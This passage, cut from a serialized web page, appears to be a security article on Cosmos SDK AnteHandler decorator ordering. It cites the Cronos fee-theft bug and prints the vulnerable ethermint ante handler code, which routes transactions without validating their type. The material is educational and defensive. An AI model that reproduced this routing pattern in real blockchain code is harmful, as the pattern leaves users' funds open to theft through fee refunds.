line":922},[79491,79496,79500,79504,79508,79512,79516],{"type":23,"tag":41,"props":79492,"children":79493},{"style":114},[79494],{"type":28,"value":79495},"    NewSetPubKeyDecorator",{"type":23,"tag":41,"props":79497,"children":79498},{"style":70},[79499],{"type":28,"value":1737},{"type":23,"tag":41,"props":79501,"children":79502},{"style":858},[79503],{"type":28,"value":36033},{"type":23,"tag":41,"props":79505,"children":79506},{"style":70},[79507],{"type":28,"value":706},{"type":23,"tag":41,"props":79509,"children":79510},{"style":858},[79511],{"type":28,"value":79376},{"type":23,"tag":41,"props":79513,"children":79514},{"style":70},[79515],{"type":28,"value":15169},{"type":23,"tag":41,"props":79517,"children":79518},{"style":48},[79519],{"type":28,"value":79520},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":41,"props":79522,"children":79523},{"class":43,"line":930},[79524,79529,79533,79537,79541,79545],{"type":23,"tag":41,"props":79525,"children":79526},{"style":114},[79527],{"type":28,"value":79528},"    NewValidateSigCountDecorator",{"type":23,"tag":41,"props":79530,"children":79531},{"style":70},[79532],{"type":28,"value":1737},{"type":23,"tag":41,"props":79534,"children":79535},{"style":858},[79536],{"type":28,"value":36033},{"type":23,"tag":41,"props":79538,"children":79539},{"style":70},[79540],{"type":28,"value":706},{"type":23,"tag":41,"props":79542,"children":79543},{"style":858},[79544],{"type":28,"value":79376},{"type":23,"tag":41,"props":79546,"children":79547},{"style":70},[79548],{"type":28,"value":6735},{"type":23,"tag":41,"props":79550,"children":79551},{"class":43,"line":939},[79552,79557,79561,79565,79569,79573,79577,79581,79585,79590],{"type":23,"tag":41,"props":79553,"children":79554},{"style":114},[79555],{"type":28,"value":79556},"    NewSigGasConsumeDecorator",{"type":23,"tag":41,"props":79558,"children":79559},{"style":70},[79560],{"type":28,"value":1737},{"type":23,"tag":41,"props":79562,"children":79563},{"style":858},[79564],{"type":28,"value":36033},{"type":23,"tag":41,"props":79566,"children":79567},{"style":70},[79568],{"type":28,"value":706},{"type":23,"tag":41,"props":79570,"children":79571},{"style":858},[79572],{"type":28,"value":79376},{"type":23,"tag":41,"props":79574,"children":79575},{"style":70},[79576],{"type":28,"value":970},{"type":23,"tag":41,"props":79578,"children":79579},{"style":858},[79580],{"type":28,"value":36033},{"type":23,"tag":41,"props":79582,"children":79583},{"style":70},[79584],{"type":28,"value":706},{"type":23,"tag":41,"props":79586,"children":79587},{"style":858},[79588],{"type":28,"value":79589},"SigGasConsumer",{"type":23,"tag":41,"props":79591,"children":79592},{"style":70},[79593],{"type":28,"value":6735},{"type":23,"tag":41,"props":79595,"children":79596},{"class":43,"line":947},[79597,79602,79606,79610,79614,79618,79622,79626,79630,79635],{"type":23,"tag":41,"props":79598,"children":79599},{"style":114},[79600],{"type":28,"value":79601},"    NewSigVerificationDecorator",{"type":23,"tag":41,"props":79603,"children":79604},{"style":70},[79605],{"type":28,"value":1737},{"type":23,"tag":41,"props":79607,"children":79608},{"style":858},[79609],{"type":28,"value":36033},{"type":23,"tag":41,"props":79611,"children":79612},{"style":70},[79613],{"type":28,"value":706},{"type":23,"tag":41,"props":79615,"children":79616},{"style":858},[79617],{"type":28,"value":79376},{"type":23,"tag":41,"props":79619,"children":79620},{"style":70},[79621],{"type":28,"value":970},{"type":23,"tag":41,"props":79623,"children":79624},{"style":858},[79625],{"type":28,"value":36033},{"type":23,"tag":41,"props":79627,"children":79628},{"style":70},[79629],{"type":28,"value":706},{"type":23,"tag":41,"props":79631,"children":79632},{"style":858},[79633],{"type":28,"value":79634},"SignModeHandler",{"type":23,"tag":41,"props":79636,"children":79637},{"style":70},[79638],{"type":28,"value":6735},{"type":23,"tag":41,"props":79640,"children":79641},{"class":43,"line":985},[79642,79647,79651,79655,79659,79663],{"type":23,"tag":41,"props":79643,"children":79644},{"style":114},[79645],{"type":28,"value":79646},"    NewIncrementSequenceDecorator",{"type":23,"tag":41,"props":79648,"children":79649},{"style":70},[79650],{"type":28,"value":1737},{"type":23,"tag":41,"props":79652,"children":79653},{"style":858},[79654],{"type":28,"value":36033},{"type":23,"tag":41,"props":79656,"children":79657},{"style":70},[79658],{"type":28,"value":706},{"type":23,"tag":41,"props":79660,"children":79661},{"style":858},[79662],{"type":28,"value":79376},{"type":23,"tag":41,"props":79664,"children":79665},{"style":70},[79666],{"type":28,"value":6735},{"type":23,"tag":41,"props":79668,"children":79669},{"class":43,"line":1058},[79670],{"type":23,"tag":41,"props":79671,"children":79672},{"style":70},[79673],{"type":28,"value":201},{"type":23,"tag":24,"props":79675,"children":79676},{},[79677,79679,79684,79686,79692,79693,79699],{"type":28,"value":79678},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":37,"props":79680,"children":79682},{"className":79681},[],[79683],{"type":28,"value":79214},{"type":28,"value":79685},", such as ",{"type":23,"tag":37,"props":79687,"children":79689},{"className":79688},[],[79690],{"type":28,"value":79691},"SigGasConsumeDecorator",{"type":28,"value":1361},{"type":23,"tag":37,"props":79694,"children":79696},{"className":79695},[],[79697],{"type":28,"value":79698},"ConsumeGasForTxSizeDecorator",{"type":28,"value":79700},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":24,"props":79702,"children":79703},{},[79704,79706,79712,79714,79719],{"type":28,"value":79705},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":37,"props":79707,"children":79709},{"className":79708},[],[79710],{"type":28,"value":79711},"msgs",{"type":28,"value":79713}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":37,"props":79715,"children":79717},{"className":79716},[],[79718],{"type":28,"value":78540},{"type":28,"value":79720}," chain.",{"type":23,"tag":546,"props":79722,"children":79724},{"id":79723},"real-world-examples-2",[79725],{"type":28,"value":76684},{"type":23,"tag":24,"props":79727,"children":79728},{},[79729,79731,79736,79738,79745],{"type":28,"value":79730},"An instance of ",{"type":23,"tag":37,"props":79732,"children":79734},{"className":79733},[],[79735],{"type":28,"value":78465},{"type":28,"value":79737}," misuse is a ",{"type":23,"tag":458,"props":79739,"children":79742},{"href":79740,"rel":79741},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[462],[79743],{"type":28,"value":79744},"Theft of Fund bug",{"type":28,"value":79746}," that was exploited in a Cronos contract.",{"type":23,"tag":24,"props":79748,"children":79749},{},[79750,79752,79757,79759,79764,79766,79772,79774,79780,79782,79787,79789,79794],{"type":28,"value":79751},"In this scenario, ",{"type":23,"tag":37,"props":79753,"children":79755},{"className":79754},[],[79756],{"type":28,"value":79711},{"type":28,"value":79758}," are multiplexed to different ",{"type":23,"tag":37,"props":79760,"children":79762},{"className":79761},[],[79763],{"type":28,"value":78465},{"type":28,"value":79765}," sets through the user-controlled ",{"type":23,"tag":37,"props":79767,"children":79769},{"className":79768},[],[79770],{"type":28,"value":79771},"ExtensionOptionsEthereumTx",{"type":28,"value":79773}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":37,"props":79775,"children":79777},{"className":79776},[],[79778],{"type":28,"value":79779},"MsgEthereumTx",{"type":28,"value":79781}," does not have ",{"type":23,"tag":37,"props":79783,"children":79785},{"className":79784},[],[79786],{"type":28,"value":79771},{"type":28,"value":79788}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":37,"props":79790,"children":79792},{"className":79791},[],[79793],{"type":28,"value":79214},{"type":28,"value":79795},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":24,"props":79797,"children":79798},{},[79799],{"type":23,"tag":458,"props":79800,"children":79803},{"href":79801,"rel":79802},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[462],[79804],{"type":28,"value":76734},{"type":23,"tag":31,"props":79806,"children":79808},{"code":79807,"language":76159,"meta":7,"className":76160,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[79809],{"type":23,"tag":37,"props":79810,"children":79811},{"__ignoreMap":7},[79812,79828,79853,79877,79894,79919,79945,79970,79993,80009,80065,80106,80132,80139,80185,80192,80238,80254,80284,80319,80371,80388,80396,80403,80432,80448,80456,80482,80490,80497,80509,80543,80589,80601,80608,80615,80622,80661,80668,80675,80682,80690,80697,80721,80745,80773,80798,80806,80839,80846,80858,80889,80944,80957,80965,80973,80981,81021,81029],{"type":23,"tag":41,"props":79813,"children":79814},{"class":43,"line":44},[79815,79819,79824],{"type":23,"tag":41,"props":79816,"children":79817},{"style":64},[79818],{"type":28,"value":76295},{"type":23,"tag":41,"props":79820,"children":79821},{"style":114},[79822],{"type":28,"value":79823}," NewAnteHandler",{"type":23,"tag":41,"props":79825,"children":79826},{"style":70},[79827],{"type":28,"value":3461},{"type":23,"tag":41,"props":79829,"children":79830},{"class":43,"line":54},[79831,79836,79841,79845,79849],{"type":23,"tag":41,"props":79832,"children":79833},{"style":858},[79834],{"type":28,"value":79835},"    ak",{"type":23,"tag":41,"props":79837,"children":79838},{"style":94},[79839],{"type":28,"value":79840}," evmtypes",{"type":23,"tag":41,"props":79842,"children":79843},{"style":70},[79844],{"type":28,"value":706},{"type":23,"tag":41,"props":79846,"children":79847},{"style":94},[79848],{"type":28,"value":79376},{"type":23,"tag":41,"props":79850,"children":79851},{"style":70},[79852],{"type":28,"value":3506},{"type":23,"tag":41,"props":79854,"children":79855},{"class":43,"line":76},[79856,79861,79865,79869,79873],{"type":23,"tag":41,"props":79857,"children":79858},{"style":858},[79859],{"type":28,"value":79860},"    bankKeeper",{"type":23,"tag":41,"props":79862,"children":79863},{"style":94},[79864],{"type":28,"value":79840},{"type":23,"tag":41,"props":79866,"children":79867},{"style":70},[79868],{"type":28,"value":706},{"type":23,"tag":41,"props":79870,"children":79871},{"style":94},[79872],{"type":28,"value":79449},{"type":23,"tag":41,"props":79874,"children":79875},{"style":70},[79876],{"type":28,"value":3506},{"type":23,"tag":41,"props":79878,"children":79879},{"class":43,"line":85},[79880,79885,79890],{"type":23,"tag":41,"props":79881,"children":79882},{"style":858},[79883],{"type":28,"value":79884},"    evmKeeper",{"type":23,"tag":41,"props":79886,"children":79887},{"style":94},[79888],{"type":28,"value":79889}," EVMKeeper",{"type":23,"tag":41,"props":79891,"children":79892},{"style":70},[79893],{"type":28,"value":3506},{"type":23,"tag":41,"props":79895,"children":79896},{"class":43,"line":105},[79897,79902,79907,79911,79915],{"type":23,"tag":41,"props":79898,"children":79899},{"style":858},[79900],{"type":28,"value":79901},"    feeGrantKeeper",{"type":23,"tag":41,"props":79903,"children":79904},{"style":94},[79905],{"type":28,"value":79906}," authante",{"type":23,"tag":41,"props":79908,"children":79909},{"style":70},[79910],{"type":28,"value":706},{"type":23,"tag":41,"props":79912,"children":79913},{"style":94},[79914],{"type":28,"value":79466},{"type":23,"tag":41,"props":79916,"children":79917},{"style":70},[79918],{"type":28,"value":3506},{"type":23,"tag":41,"props":79920,"children":79921},{"class":43,"line":155},[79922,79927,79932,79936,79941],{"type":23,"tag":41,"props":79923,"children":79924},{"style":858},[79925],{"type":28,"value":79926},"    channelKeeper",{"type":23,"tag":41,"props":79928,"children":79929},{"style":94},[79930],{"type":28,"value":79931}," channelkeeper",{"type":23,"tag":41,"props":79933,"children":79934},{"style":70},[79935],{"type":28,"value":706},{"type":23,"tag":41,"props":79937,"children":79938},{"style":94},[79939],{"type":28,"value":79940},"Keeper",{"type":23,"tag":41,"props":79942,"children":79943},{"style":70},[79944],{"type":28,"value":3506},{"type":23,"tag":41,"props":79946,"children":79947},{"class":43,"line":186},[79948,79953,79958,79962,79966],{"type":23,"tag":41,"props":79949,"children":79950},{"style":858},[79951],{"type":28,"value":79952},"    signModeHandler",{"type":23,"tag":41,"props":79954,"children":79955},{"style":94},[79956],{"type":28,"value":79957}," authsigning",{"type":23,"tag":41,"props":79959,"children":79960},{"style":70},[79961],{"type":28,"value":706},{"type":23,"tag":41,"props":79963,"children":79964},{"style":94},[79965],{"type":28,"value":79634},{"type":23,"tag":41,"props":79967,"children":79968},{"style":70},[79969],{"type":28,"value":3506},{"type":23,"tag":41,"props":79971,"children":79972},{"class":43,"line":195},[79973,79977,79981,79985,79989],{"type":23,"tag":41,"props":79974,"children":79975},{"style":70},[79976],{"type":28,"value":866},{"type":23,"tag":41,"props":79978,"children":79979},{"style":94},[79980],{"type":28,"value":78725},{"type":23,"tag":41,"props":79982,"children":79983},{"style":70},[79984],{"type":28,"value":706},{"type":23,"tag":41,"props":79986,"children":79987},{"style":94},[79988],{"type":28,"value":78465},{"type":23,"tag":41,"props":79990,"children":79991},{"style":70},[79992],{"type":28,"value":102},{"type":23,"tag":41,"props":79994,"children":79995},{"class":43,"line":905},[79996,80000,80005],{"type":23,"tag":41,"props":79997,"children":79998},{"style":58},[79999],{"type":28,"value":1090},{"type":23,"tag":41,"props":80001,"children":80002},{"style":64},[80003],{"type":28,"value":80004}," func",{"type":23,"tag":41,"props":80006,"children":80007},{"style":70},[80008],{"type":28,"value":3461},{"type":23,"tag":41,"props":80010,"children":80011},{"class":43,"line":922},[80012,80016,80020,80024,80028,80032,80036,80040,80044,80048,80052,80057,80061],{"type":23,"tag":41,"props":80013,"children":80014},{"style":858},[80015],{"type":28,"value":26185},{"type":23,"tag":41,"props":80017,"children":80018},{"style":94},[80019],{"type":28,"value":78636},{"type":23,"tag":41,"props":80021,"children":80022},{"style":70},[80023],{"type":28,"value":706},{"type":23,"tag":41,"props":80025,"children":80026},{"style":94},[80027],{"type":28,"value":76344},{"type":23,"tag":41,"props":80029,"children":80030},{"style":70},[80031],{"type":28,"value":970},{"type":23,"tag":41,"props":80033,"children":80034},{"style":858},[80035],{"type":28,"value":79176},{"type":23,"tag":41,"props":80037,"children":80038},{"style":94},[80039],{"type":28,"value":78636},{"type":23,"tag":41,"props":80041,"children":80042},{"style":70},[80043],{"type":28,"value":706},{"type":23,"tag":41,"props":80045,"children":80046},{"style":94},[80047],{"type":28,"value":78669},{"type":23,"tag":41,"props":80049,"children":80050},{"style":70},[80051],{"type":28,"value":970},{"type":23,"tag":41,"props":80053,"children":80054},{"style":858},[80055],{"type":28,"value":80056},"sim",{"type":23,"tag":41,"props":80058,"children":80059},{"style":94},[80060],{"type":28,"value":12047},{"type":23,"tag":41,"props":80062,"children":80063},{"style":70},[80064],{"type":28,"value":3506},{"type":23,"tag":41,"props":80066,"children":80067},{"class":43,"line":930},[80068,80073,80078,80082,80086,80090,80094,80098,80102],{"type":23,"tag":41,"props":80069,"children":80070},{"style":70},[80071],{"type":28,"value":80072},"    ) (",{"type":23,"tag":41,"props":80074,"children":80075},{"style":858},[80076],{"type":28,"value":80077},"newCtx",{"type":23,"tag":41,"props":80079,"children":80080},{"style":94},[80081],{"type":28,"value":78636},{"type":23,"tag":41,"props":80083,"children":80084},{"style":70},[80085],{"type":28,"value":706},{"type":23,"tag":41,"props":80087,"children":80088},{"style":94},[80089],{"type":28,"value":76344},{"type":23,"tag":41,"props":80091,"children":80092},{"style":70},[80093],{"type":28,"value":970},{"type":23,"tag":41,"props":80095,"children":80096},{"style":858},[80097],{"type":28,"value":48414},{"type":23,"tag":41,"props":80099,"children":80100},{"style":94},[80101],{"type":28,"value":14868},{"type":23,"tag":41,"props":80103,"children":80104},{"style":70},[80105],{"type":28,"value":152},{"type":23,"tag":41,"props":80107,"children":80108},{"class":43,"line":939},[80109,80114,80119,80123,80127],{"type":23,"tag":41,"props":80110,"children":80111},{"style":64},[80112],{"type":28,"value":80113},"        var",{"type":23,"tag":41,"props":80115,"children":80116},{"style":858},[80117],{"type":28,"value":80118}," anteHandler",{"type":23,"tag":41,"props":80120,"children":80121},{"style":94},[80122],{"type":28,"value":78636},{"type":23,"tag":41,"props":80124,"children":80125},{"style":70},[80126],{"type":28,"value":706},{"type":23,"tag":41,"props":80128,"children":80129},{"style":94},[80130],{"type":28,"value":80131},"AnteHandler\n",{"type":23,"tag":41,"props":80133,"children":80134},{"class":43,"line":947},[80135],{"type":23,"tag":41,"props":80136,"children":80137},{"emptyLinePlaceholder":18},[80138],{"type":28,"value":82},{"type":23,"tag":41,"props":80140,"children":80141},{"class":43,"line":985},[80142,80147,80152,80156,80160,80164,80169,80173,80177,80181],{"type":23,"tag":41,"props":80143,"children":80144},{"style":58},[80145],{"type":28,"value":80146},"        defer",{"type":23,"tag":41,"props":80148,"children":80149},{"style":114},[80150],{"type":28,"value":80151}," Recover",{"type":23,"tag":41,"props":80153,"children":80154},{"style":70},[80155],{"type":28,"value":1737},{"type":23,"tag":41,"props":80157,"children":80158},{"style":858},[80159],{"type":28,"value":20269},{"type":23,"tag":41,"props":80161,"children":80162},{"style":70},[80163],{"type":28,"value":706},{"type":23,"tag":41,"props":80165,"children":80166},{"style":114},[80167],{"type":28,"value":80168},"Logger",{"type":23,"tag":41,"props":80170,"children":80171},{"style":70},[80172],{"type":28,"value":18363},{"type":23,"tag":41,"props":80174,"children":80175},{"style":170},[80176],{"type":28,"value":855},{"type":23,"tag":41,"props":80178,"children":80179},{"style":858},[80180],{"type":28,"value":48414},{"type":23,"tag":41,"props":80182,"children":80183},{"style":70},[80184],{"type":28,"value":1969},{"type":23,"tag":41,"props":80186,"children":80187},{"class":43,"line":1058},[80188],{"type":23,"tag":41,"props":80189,"children":80190},{"emptyLinePlaceholder":18},[80191],{"type":28,"value":82},{"type":23,"tag":41,"props":80193,"children":80194},{"class":43,"line":1084},[80195,80200,80204,80208,80212,80216,80220,80225,80229,80234],{"type":23,"tag":41,"props":80196,"children":80197},{"style":858},[80198],{"type":28,"value":80199},"        txWithExtensions",{"type":23,"tag":41,"props":80201,"children":80202},{"style":70},[80203],{"type":28,"value":970},{"type":23,"tag":41,"props":80205,"children":80206},{"style":858},[80207],{"type":28,"value":78762},{"type":23,"tag":41,"props":80209,"children":80210},{"style":170},[80211],{"type":28,"value":76411},{"type":23,"tag":41,"props":80213,"children":80214},{"style":858},[80215],{"type":28,"value":68023},{"type":23,"tag":41,"props":80217,"children":80218},{"style":70},[80219],{"type":28,"value":78775},{"type":23,"tag":41,"props":80221,"children":80222},{"style":94},[80223],{"type":28,"value":80224},"authante",{"type":23,"tag":41,"props":80226,"children":80227},{"style":70},[80228],{"type":28,"value":706},{"type":23,"tag":41,"props":80230,"children":80231},{"style":94},[80232],{"type":28,"value":80233},"HasExtensionOptionsTx",{"type":23,"tag":41,"props":80235,"children":80236},{"style":70},[80237],{"type":28,"value":1969},{"type":23,"tag":41,"props":80239,"children":80240},{"class":43,"line":1102},[80241,80245,80250],{"type":23,"tag":41,"props":80242,"children":80243},{"style":58},[80244],{"type":28,"value":3272},{"type":23,"tag":41,"props":80246,"children":80247},{"style":858},[80248],{"type":28,"value":80249}," ok",{"type":23,"tag":41,"props":80251,"children":80252},{"style":70},[80253],{"type":28,"value":102},{"type":23,"tag":41,"props":80255,"children":80256},{"class":43,"line":1110},[80257,80262,80266,80271,80275,80280],{"type":23,"tag":41,"props":80258,"children":80259},{"style":858},[80260],{"type":28,"value":80261},"            opts",{"type":23,"tag":41,"props":80263,"children":80264},{"style":170},[80265],{"type":28,"value":76411},{"type":23,"tag":41,"props":80267,"children":80268},{"style":858},[80269],{"type":28,"value":80270}," txWithExtensions",{"type":23,"tag":41,"props":80272,"children":80273},{"style":70},[80274],{"type":28,"value":706},{"type":23,"tag":41,"props":80276,"children":80277},{"style":114},[80278],{"type":28,"value":80279},"GetExtensionOptions",{"type":23,"tag":41,"props":80281,"children":80282},{"style":70},[80283],{"type":28,"value":7735},{"type":23,"tag":41,"props":80285,"children":80286},{"class":43,"line":1118},[80287,80291,80295,80299,80303,80307,80311,80315],{"type":23,"tag":41,"props":80288,"children":80289},{"style":58},[80290],{"type":28,"value":58797},{"type":23,"tag":41,"props":80292,"children":80293},{"style":114},[80294],{"type":28,"value":8556},{"type":23,"tag":41,"props":80296,"children":80297},{"style":70},[80298],{"type":28,"value":1737},{"type":23,"tag":41,"props":80300,"children":80301},{"style":858},[80302],{"type":28,"value":48556},{"type":23,"tag":41,"props":80304,"children":80305},{"style":70},[80306],{"type":28,"value":866},{"type":23,"tag":41,"props":80308,"children":80309},{"style":170},[80310],{"type":28,"value":1022},{"type":23,"tag":41,"props":80312,"children":80313},{"style":164},[80314],{"type":28,"value":392},{"type":23,"tag":41,"props":80316,"children":80317},{"style":70},[80318],{"type":28,"value":102},{"type":23,"tag":41,"props":80320,"children":80321},{"class":43,"line":1137},[80322,80327,80332,80336,80341,80345,80349,80353,80358,80362,80367],{"type":23,"tag":41,"props":80323,"children":80324},{"style":58},[80325],{"type":28,"value":80326},"                switch",{"type":23,"tag":41,"props":80328,"children":80329},{"style":858},[80330],{"type":28,"value":80331}," typeURL",{"type":23,"tag":41,"props":80333,"children":80334},{"style":170},[80335],{"type":28,"value":76411},{"type":23,"tag":41,"props":80337,"children":80338},{"style":858},[80339],{"type":28,"value":80340}," opts",{"type":23,"tag":41,"props":80342,"children":80343},{"style":70},[80344],{"type":28,"value":312},{"type":23,"tag":41,"props":80346,"children":80347},{"style":164},[80348],{"type":28,"value":4024},{"type":23,"tag":41,"props":80350,"children":80351},{"style":70},[80352],{"type":28,"value":50343},{"type":23,"tag":41,"props":80354,"children":80355},{"style":114},[80356],{"type":28,"value":80357},"GetTypeUrl",{"type":23,"tag":41,"props":80359,"children":80360},{"style":70},[80361],{"type":28,"value":28448},{"type":23,"tag":41,"props":80363,"children":80364},{"style":858},[80365],{"type":28,"value":80366},"typeURL",{"type":23,"tag":41,"props":80368,"children":80369},{"style":70},[80370],{"type":28,"value":102},{"type":23,"tag":41,"props":80372,"children":80373},{"class":43,"line":1163},[80374,80379,80384],{"type":23,"tag":41,"props":80375,"children":80376},{"style":58},[80377],{"type":28,"value":80378},"                case",{"type":23,"tag":41,"props":80380,"children":80381},{"style":735},[80382],{"type":28,"value":80383}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":41,"props":80385,"children":80386},{"style":70},[80387],{"type":28,"value":5568},{"type":23,"tag":41,"props":80389,"children":80390},{"class":43,"line":1188},[80391],{"type":23,"tag":41,"props":80392,"children":80393},{"style":48},[80394],{"type":28,"value":80395},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":41,"props":80397,"children":80398},{"class":43,"line":1979},[80399],{"type":23,"tag":41,"props":80400,"children":80401},{"emptyLinePlaceholder":18},[80402],{"type":28,"value":82},{"type":23,"tag":41,"props":80404,"children":80405},{"class":43,"line":2002},[80406,80411,80415,80419,80423,80428],{"type":23,"tag":41,"props":80407,"children":80408},{"style":858},[80409],{"type":28,"value":80410},"                    anteHandler",{"type":23,"tag":41,"props":80412,"children":80413},{"style":170},[80414],{"type":28,"value":3017},{"type":23,"tag":41,"props":80416,"children":80417},{"style":858},[80418],{"type":28,"value":78636},{"type":23,"tag":41,"props":80420,"children":80421},{"style":70},[80422],{"type":28,"value":706},{"type":23,"tag":41,"props":80424,"children":80425},{"style":114},[80426],{"type":28,"value":80427},"ChainAnteDecorators",{"type":23,"tag":41,"props":80429,"children":80430},{"style":70},[80431],{"type":28,"value":3461},{"type":23,"tag":41,"props":80433,"children":80434},{"class":43,"line":3835},[80435,80440,80444],{"type":23,"tag":41,"props":80436,"children":80437},{"style":114},[80438],{"type":28,"value":80439},"                        NewEthSetUpContextDecorator",{"type":23,"tag":41,"props":80441,"children":80442},{"style":70},[80443],{"type":28,"value":18363},{"type":23,"tag":41,"props":80445,"children":80446},{"style":48},[80447],{"type":28,"value":79290},{"type":23,"tag":41,"props":80449,"children":80450},{"class":43,"line":3895},[80451],{"type":23,"tag":41,"props":80452,"children":80453},{"style":170},[80454],{"type":28,"value":80455},"                        ...\n",{"type":23,"tag":41,"props":80457,"children":80458},{"class":43,"line":9044},[80459,80464,80468,80473,80477],{"type":23,"tag":41,"props":80460,"children":80461},{"style":114},[80462],{"type":28,"value":80463},"                        NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":41,"props":80465,"children":80466},{"style":70},[80467],{"type":28,"value":1737},{"type":23,"tag":41,"props":80469,"children":80470},{"style":858},[80471],{"type":28,"value":80472},"ak",{"type":23,"tag":41,"props":80474,"children":80475},{"style":70},[80476],{"type":28,"value":15169},{"type":23,"tag":41,"props":80478,"children":80479},{"style":48},[80480],{"type":28,"value":80481},"// innermost AnteDecorator.\n",{"type":23,"tag":41,"props":80483,"children":80484},{"class":43,"line":9061},[80485],{"type":23,"tag":41,"props":80486,"children":80487},{"style":70},[80488],{"type":28,"value":80489},"                    )\n",{"type":23,"tag":41,"props":80491,"children":80492},{"class":43,"line":9106},[80493],{"type":23,"tag":41,"props":80494,"children":80495},{"emptyLinePlaceholder":18},[80496],{"type":28,"value":82},{"type":23,"tag":41,"props":80498,"children":80499},{"class":43,"line":9212},[80500,80505],{"type":23,"tag":41,"props":80501,"children":80502},{"style":58},[80503],{"type":28,"value":80504},"                default",{"type":23,"tag":41,"props":80506,"children":80507},{"style":70},[80508],{"type":28,"value":5568},{"type":23,"tag":41,"props":80510,"children":80511},{"class":43,"line":23496},[80512,80517,80521,80525,80530,80534,80539],{"type":23,"tag":41,"props":80513,"children":80514},{"style":58},[80515],{"type":28,"value":80516},"                    return",{"type":23,"tag":41,"props":80518,"children":80519},{"style":858},[80520],{"type":28,"value":25842},{"type":23,"tag":41,"props":80522,"children":80523},{"style":70},[80524],{"type":28,"value":970},{"type":23,"tag":41,"props":80526,"children":80527},{"style":858},[80528],{"type":28,"value":80529},"stacktrace",{"type":23,"tag":41,"props":80531,"children":80532},{"style":70},[80533],{"type":28,"value":706},{"type":23,"tag":41,"props":80535,"children":80536},{"style":114},[80537],{"type":28,"value":80538},"Propagate",{"type":23,"tag":41,"props":80540,"children":80541},{"style":70},[80542],{"type":28,"value":3461},{"type":23,"tag":41,"props":80544,"children":80545},{"class":43,"line":23531},[80546,80551,80555,80559,80563,80568,80572,80577,80581,80585],{"type":23,"tag":41,"props":80547,"children":80548},{"style":858},[80549],{"type":28,"value":80550},"                        sdkerrors",{"type":23,"tag":41,"props":80552,"children":80553},{"style":70},[80554],{"type":28,"value":706},{"type":23,"tag":41,"props":80556,"children":80557},{"style":114},[80558],{"type":28,"value":78841},{"type":23,"tag":41,"props":80560,"children":80561},{"style":70},[80562],{"type":28,"value":1737},{"type":23,"tag":41,"props":80564,"children":80565},{"style":858},[80566],{"type":28,"value":80567},"sdkerrors",{"type":23,"tag":41,"props":80569,"children":80570},{"style":70},[80571],{"type":28,"value":706},{"type":23,"tag":41,"props":80573,"children":80574},{"style":858},[80575],{"type":28,"value":80576},"ErrUnknownExtensionOptions",{"type":23,"tag":41,"props":80578,"children":80579},{"style":70},[80580],{"type":28,"value":970},{"type":23,"tag":41,"props":80582,"children":80583},{"style":858},[80584],{"type":28,"value":80366},{"type":23,"tag":41,"props":80586,"children":80587},{"style":70},[80588],{"type":28,"value":6735},{"type":23,"tag":41,"props":80590,"children":80591},{"class":43,"line":23539},[80592,80597],{"type":23,"tag":41,"props":80593,"children":80594},{"style":735},[80595],{"type":28,"value":80596},"                        \"rejecting tx with unsupported extension 